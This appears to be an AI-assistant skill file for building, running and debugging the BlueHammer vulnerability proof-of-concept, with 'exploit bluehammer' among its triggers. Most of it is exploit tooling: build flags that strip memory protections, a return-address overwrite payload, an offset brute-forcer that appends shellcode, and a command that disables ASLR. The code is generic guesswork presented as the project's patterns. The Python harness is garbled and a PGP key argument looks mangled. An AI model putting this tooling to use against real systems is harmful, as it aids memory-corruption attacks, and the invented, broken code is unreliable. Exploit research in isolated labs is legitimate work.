| name | bluehammer-vulnerability-poc |
| description | Skill for working with the BlueHammer vulnerability proof-of-concept repository, covering build, usage, and code patterns. |
| triggers | ["use bluehammer","work with bluehammer vulnerability","build bluehammer poc","exploit bluehammer","run bluehammer","bluehammer vulnerability code","set up bluehammer","understand bluehammer poc"] |
BlueHammer Vulnerability PoC
Skill by ara.so — Daily 2026 Skills collection.
⚠️ Important Notice
BlueHammer is a proof-of-concept vulnerability repository intended for security research, education, and defensive purposes only. Use only in authorized, isolated lab environments. The author notes there are known bugs in the PoC that may prevent it from working as-is.
What BlueHammer Does
BlueHammer is a C-based proof-of-concept demonstrating a specific vulnerability. The repository is primarily a research artifact — it documents the vulnerability, provides a PoC exploit, and is signed with a PGP key for authenticity verification.
Getting the Code
git clone https://github.com/Nightmare-Eclipse/BlueHammer.git
cd BlueHammer
Verify PGP Signature (Recommended)
The README is PGP signed. To verify authenticity:
gpg --keyserver keys.openpgp.org --recv-keys 494EF01FFC059584028479BEC5168442 4B4FD26C
gpg --verify README.md
Building the PoC
Since the project is written in C with no build system documented, standard patterns apply:
Single-file build
gcc -o bluehammer bluehammer.c -Wall -Wextra
gcc -g -O0 -o bluehammer_dbg bluehammer.c -Wall -Wextra
make
make clean && make
Common C build flags for vulnerability PoCs
gcc -o bluehammer bluehammer.c \
-fno-stack-protector \
-z execstack \
-no-pie \
-Wall
gcc -o bluehammer bluehammer.c \
-fsanitize=address \
-g -O1
Running the PoC
./bluehammer
./bluehammer <target>
./bluehammer -v <target>
./bluehammer --help
./bluehammer -h
Code Patterns — Working with C Vulnerability PoCs
Reading and understanding the vulnerability trigger
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void trigger_vulnerability(const char *input, size_t len) {
char buf[256];
memcpy(buf, input, len);
}
int main(int argc, char *argv[]) {
if (argc < 2) {
fprintf(stderr, "Usage: %s <payload>\n", argv[0]);
return 1;
}
trigger_vulnerability(argv[1], strlen(argv[1]));
return 0;
}
Analyzing the PoC for bugs (author noted known bugs)
char buf[64];
for (int i = 0; i <= 64; i++) buf[i] = 'A';
for (int i = 0; i < 64; i++) buf[i] = 'A';
char buf[8];
strncpy(buf, "longinput", 8);
strncpy(buf, "longinput", 7);
buf[7] = '\0';
int *arr = malloc(10);
int *arr_fixed = malloc(10 * sizeof(int));
size_t offset = 128;
Sending a crafted payload
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define PAYLOAD_SIZE 512
#define OFFSET 264
int main(void) {
unsigned char payload[PAYLOAD_SIZE];
memset(payload, 'A', PAYLOAD_SIZE);
unsigned long target_addr = 0xdeadbeefcafeUL;
memcpy(payload + OFFSET, &target_addr, sizeof(target_addr));
fwrite(payload, 1, PAYLOAD_SIZE, stdout);
return 0;
}
Debugging a non-working PoC
gdb ./bluehammer
(gdb) run <args>
(gdb) bt
(gdb) info registers
python3 -c "import pwn; print(pwn.cyclic(500).decode())" | ./bluehammer
strace ./bluehammer <args>
ltrace ./bluehammer <args>
checksec --file=./bluehammer
python3 -c "from pwn import *; e = ELF('./bluehammer'); print(e)"
Python harness for iterating on the PoC
"""
Harness for testing BlueHammer PoC variants.
Run in an isolated lab environment only.
"""
import subprocess
import struct
import os
BINARY = "./bluehammer"
OFFSET = 264
def build_payload(offset: int, ret_addr: int, shellcode: bytes = b"") -> bytes:
padding = b"A" * offset
addr_packed = struct.pack("<Q", ret_addr)
return padding + addr_packed + shellcode
def run_payload(payload: bytes) -> tuple[int, bytes, bytes]:
"""Send payload to the binary, return (returncode, stdout, stderr)."""
result = subprocess.run(
[BINARY],
input=payload,
capture_output=True,
timeout=5,
)
return result.returncode, result.stdout, result.stderr
def find_offset(max_size: int = 1024) -> int:
"""Brute-force the crash offset."""
for size in range(16, max_size, 8):
payload = b"A" * size
try:
rc, _, _ = run_payload(payload)
rc != :
()
size
subprocess.TimeoutExpired:
()
-
__name__ == :
()
payload = build_payload(OFFSET, )
rc, out, err = run_payload(payload)
()
()
()
Troubleshooting
PoC doesn't crash / no effect
- The author acknowledged bugs in the PoC — read the source carefully for off-by-one errors, wrong size calculations, or incorrect offsets.
- Recompile without mitigations:
-fno-stack-protector -no-pie -z execstack
- Check if ASLR is interfering:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space (lab only, revert after)
Compilation errors
sudo apt install build-essential libc6-dev
gcc bluehammer.c -o bluehammer -lpthread -lm
Segfault immediately on run
gcc -fsanitize=address -g -o bluehammer_asan bluehammer.c
./bluehammer_asan <args>
PGP verification fails
gpg --list-keys FFoRCS0
gpg --keyserver hkps://keys.openpgp.org --recv-keys <full-fingerprint>
Lab Environment Setup (Recommended)
docker run -it --rm \
--cap-add SYS_PTRACE \
--security-opt seccomp=unconfined \
ubuntu:22.04 bash
apt update && apt install -y gcc gdb python3 python3-pip strace ltrace binutils
pip3 install pwntools
git clone https://github.com/Nightmare-Eclipse/BlueHammer.git
cd BlueHammer
Key Facts
| Property | Value |
|---|
| Language | C |
| License | MIT |
| Stars | 606 |
| Forks | 228 |
| Known bugs in PoC | Yes (author confirmed) |
| PGP signed | Yes (SHA-512, Ed25519) |